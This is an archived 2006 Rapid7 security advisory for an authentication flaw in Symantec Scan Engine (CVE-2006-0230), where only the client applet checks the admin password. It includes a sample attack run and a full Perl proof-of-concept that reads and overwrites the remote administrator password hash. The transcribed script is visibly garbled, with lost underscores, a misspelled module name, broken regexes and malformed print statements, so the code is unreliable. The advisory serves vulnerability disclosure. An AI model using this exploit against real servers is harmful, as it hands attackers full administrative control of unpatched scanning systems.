

# [VulnWatch] Rapid7 Advisory R7-0021: Symantec Scan Engine Authentication Fundamental Design Error

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2006-04/msg00009.html>

---

- *From:* [advisory@xxxxxxxxxx](mailto:advisory@xxxxxxxxxx)
  - *Date:* Fri, 21 Apr 2006 12:13:36 -0700
- 

---

Rapid7, LLC Security Advisory

---

Rapid7 Advisory R7-0021  
Symantec Scan Engine Authentication Fundamental Design Error

Published: April 21, 2006

Revision: 1.0

<http://www.rapid7.com/advisories/R7-0021.html>

CVE: CVE-2006-0230

1. Affected system(s):

KNOWN VULNERABLE:

o Symantec Scan Engine v5.0.0.24

KNOWN FIXED:

o Symantec Scan Engine v5.1.0.7

UNKNOWN (PROBABLY VULNERABLE):

o All v5.0.x.x

o Earlier versions

2. Summary

Symantec Scan Engine provides a web-based administrative interface that is used for managing scanning options and antivirus definitions. To access the interface, an administrator must browse to it, load a Java applet, and log in with a password.

However, the authentication mechanism used by Symantec Scan Engine contains a fundamental design flaw that allows any remote user to gain full administrative access to the server. The server does not verify the password entered by the user. The password is only

## [VulnWatch] Rapid7 Advisory R7-0021: Symantec Scan Engine Authentication Fundamental Design Error

verified by the client-side Java applet. Anyone with knowledge of the underlying communication mechanism can exercise full control of the Scan Engine server simply by posting XML requests to the server using its proprietary protocol.

NeXpose, Rapid7's award-winning vulnerability assessment platform, checks for this vulnerability and other vulnerabilities we have discovered in Symantec Scan Engine. Visit <http://www.rapid7.com> to register for a free demo of NeXpose.

### 3. Vendor status and information

Symantec Corporation  
<http://www.symantec.com>

Symantec was notified of this vulnerability on January 17, 2006. They acknowledged the vulnerability, then provided us with a fixed version. Rapid7's advisory was publicly released on April 21, 2006.

### 4. Solution

Upgrade to Symantec Scan Engine v5.1.0.7 or later.

### 5. Detailed analysis

The administrative web interface, which is typically accessible on default TCP port 8004, is implemented as a Java applet. Also, an additional SSL connection to TCP port 8005 is used by the applet to exchange configuration information with the server using a proprietary protocol based on XML exchanges. The authentication model used by the administrative interface is utterly flawed, because the server trusts the client applet to correctly authenticate users. The protocols themselves (HTTP on port 8004 and proprietary protocol on port 8005) do NOT require client authentication.

For example, when an administrator user changes his password via the administrative interface, the Java applet simply connects to port 8005 and sends a request to change the administrator password hash. No authentication is required. The direct consequence of this is that any remote attacker can change the administrator password to a password of his choice.

We have included with this advisory a proof-of-concept Perl script which demonstrates this vulnerability (see "change\_scan\_engine\_pw.pl").

Here is an example scenario:

```
$ ./change_scan_engine_pw.pl --pwd foobar 10.68.4.4  
Old hash:
```

## [VulnWatch] Rapid7 Advisory R7-0021: Symantec Scan Engine Authentication Fundamental Design Error

```
E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
New hash:
656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
Password successfully set to: 'foobar'
$ ./change_scan_engine_pw.pl \
---hash E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
\
10.68.4.4
Old hash:
656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
New hash:
E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
```

The first command resets the administrator password to 'foobar': it asks Scan Engine for the current administrator password hash (E97B...) for information purpose only (the attack does not actually require knowledge of the previous password hash), computes the hash corresponding to the new password (6562...), and uploads this new hash. The second command just restores the previous password (which is unknown) by re-uploading the previous hash (E97B...) to the server.

Note: the 256-bit password hash is computed using the following algorithm. First, a random 128-bit salt is chosen. Second, a character string is built by concatenating the password string and the uppercase hexadecimal representation of the salt. Third, the 128-bit MD5 digest of this concatenated string is computed. Finally the 256-bit password hash is built by concatenating the 128-bit MD5 digest and the 128-bit salt.

### 6. Credit

This vulnerability was discovered by Marc Bevand of Rapid7.

### 7. Contact Information

Rapid7, LLC  
Email: [advisory@xxxxxxxxxx](mailto:advisory@xxxxxxxxxx)  
Web: <http://www.rapid7.com>  
Phone: +1 (617) 247-1717

### 8. Disclaimer and Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are **NO WARRANTIES** with regard to this information. Any application or distribution of this information constitutes acceptance **AS IS**, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby

## [VulnWatch] Rapid7 Advisory R7-0021: Symantec Scan Engine Authentication Fundamental Design Error

granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

The proof of concept script follows:

```
#!/usr/bin/perl -w
#
# Remotely change the administrator password (or password hash) of
# Symantec Scan Engine.
#
# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>
# Copyright 2006 Rapid7, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS" AND ANY EXPRESS
# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
# GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

use strict;
use Getopt::Long;
use LWP::UserAgent;
use Digest::MD5 qw/md5_hex/;
use Net::SSLay::Handle qw/shutdown/;

#
# Init LWP::UserAgent (the user agent string is the one currently used
# by the Scan Engine java applet).
#
sub init {
    my $ua;
    $ua = LWP::UserAgent->new(keep_alive => 0);
    $ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08");
```

[VulnWatch] Rapid7 Advisory R7-0021: Symantec Scan Engine Authentication Fundamental Design Error

```
return $ua;
}

#
# Example of service string to be parsed:
# 10.68.4.4
# 10.68.4.4/8004/8005
# hostname
# hostname/9004/9005
#
sub parse_service {
my ($service) = @_ ;

if ($service =~ m{^[^/]*(\d+)/(\d+)$}) {
return $1, $2, $3;
} elsif ($service =~ m{^[^/]*$}) {
return $1, 8004, 8005;
} else {
die "cannot parse service: $service";
}
}

#
# Sends a request to obtain the password hash. Note: the RSA key
# (modulus and public exponent) has been randomly chosen.
#
sub data_to_send {
my $r1 =
'<request><key mod="784607708866372110095636553206565253692059085'.
'0882661452379500719255245078226751123858547991180612629396444366'.
'109364669329014831409765373165312900564995261" pub="754297542068'.
'3822223796790522532950961415568940207500046396606172395479254814'.
'3383744922039888710333203519260280729415961892539564611703079983'.
'74406014351745">I need the key</key></request>'
;

return $r1;
}

#
# Example of response to be parsed:
# <request>
# <message xmlns:xs="http://www.w3.org/2001/XMLSchema
# xmlns:java="class:com.symantec.common.SimpleRSA"
# value="01234567890123456789012345678901234567890123456789012345\
# 6789"/>
# <password xmlns:xs="http://www.w3.org/2001/XMLSchema
# xmlns:java="class:com.symantec.common.SimpleRSA"
# pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\
# D248642"/>
# </request>
```

```
#
sub parse_resp {
my ($res) = @ _ ;

if ($res =~ /pass="([:xdigit:]{64})"/) {
return $1;
} else {
die "cannot parse response: $res";
}
}

#
# Return a password hash.
#
sub hash_passwd {
my ($pwd) = @ _ ;
my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff),
rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);

return uc(md5_hex("$pwd$salt")) . $salt;
}

sub send_request {
my ($socket, $req) = @ _ ;

$req = pack("n", length($req)).$req;
print $socket $req;
}

#
# Set the administrator password hash.
#
sub set_hash {
my ($hostname, $port_ssl, $hash) = @ _ ;
my $socket;
my $reply;

tie(*SSL, "Net::SSL::Handle", $hostname, $port_ssl)
or die "ssl tie: $!";
$socket = \*SSL;
send_request($socket,
'<request command="submit" parms="apply" type="saveapply">'.
'<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'.
'<guichanges><configuration>'.
'<changes xpath="//admin/password/@value" value="'. $hash. "'>'.
'</configuration></guichanges>'.
']]></request>');
send_request($socket,
'UTFWritesDone');
shutdown($socket, 1) or die "ssl shutdown: $!";
$reply = substr(<$socket>, 2);
```

[VulnWatch] Rapid7 Advisory R7-0021: Symantec Scan Engine Authentication Fundamental Design Error

```
$reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);
if ($reply !~ m{<message status='apply success'>Apply!</message>})
{
die "command failed: $reply";
}
close($socket) or die "ssl close: $!";
}

sub doit {
my ($service, $pwd, $hash) = @ _;
my $hostname;
my $port http;
my $port ssl;
my $ua;
my $url;
my $req;
my $res;
my $old hash;

($hostname, $port http, $port ssl) = parse_service($service);
$ua = init();
$url = "http://$hostname:$port http/xml.xml";
$req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content(data to send());
$res = $ua->request($req);
$res->is_success or die "got ".$res->status_line." for $url\n";
($old hash) = parse_resp($res->content);
print "Old hash: $old hash\n";
if ($hash) {
set_hash($hostname, $port ssl, $hash);
print "New hash: $hash\n";
} else {
$hash = hash_passwd($pwd);
set_hash($hostname, $port ssl, $hash);
print "New hash: $hash\n";
print "Password successfully set to: '$pwd'\n";
}
}

sub error {
print STDERR "Try `$_ --help' for more information.\n";
}

sub usage {
print "Usage:\n";
" $_ [OPTIONS] <hostname>\n";
" $_ [OPTIONS] <hostname>/<http port>/<ssl port>\n";
"Options:\n";
" --help Display this help\n";
" --pwd <passwd> Set the password (default: test)\n";
}
```

```
" --hash <passwd hash> Set the password hash instead of a parti".  
"cular password\n".  
"Examples:\n".  
"$0 10.68.4.4\n".  
"$0 --pwd foobar 10.68.4.4/8004/8005\n".  
"";  
}
```

```
sub main {  
my $help;  
my $pwd = "test";  
my $hash;  
my $service;  
  
if (!GetOptions(  
"help" => \$help,  
"pwd=s" => \$pwd,  
"hash=s" => \$hash,  
)) {  
error(); exit(1);  
}  
if ($help) {  
usage(); exit(0);  
}  
if (!scalar(@ARGV)) {  
print STDERR "No service specified.\n";  
error(); exit(1);  
} elsif (1 == scalar(@ARGV)) {  
$service = $ARGV[0];  
} else {  
print STDERR "Extra argument: $ARGV[1]\n";  
error(); exit(1);  
}  
doit($service, $pwd, $hash);  
}  
  
main();  
  
#  
# END proof of concept  
#
```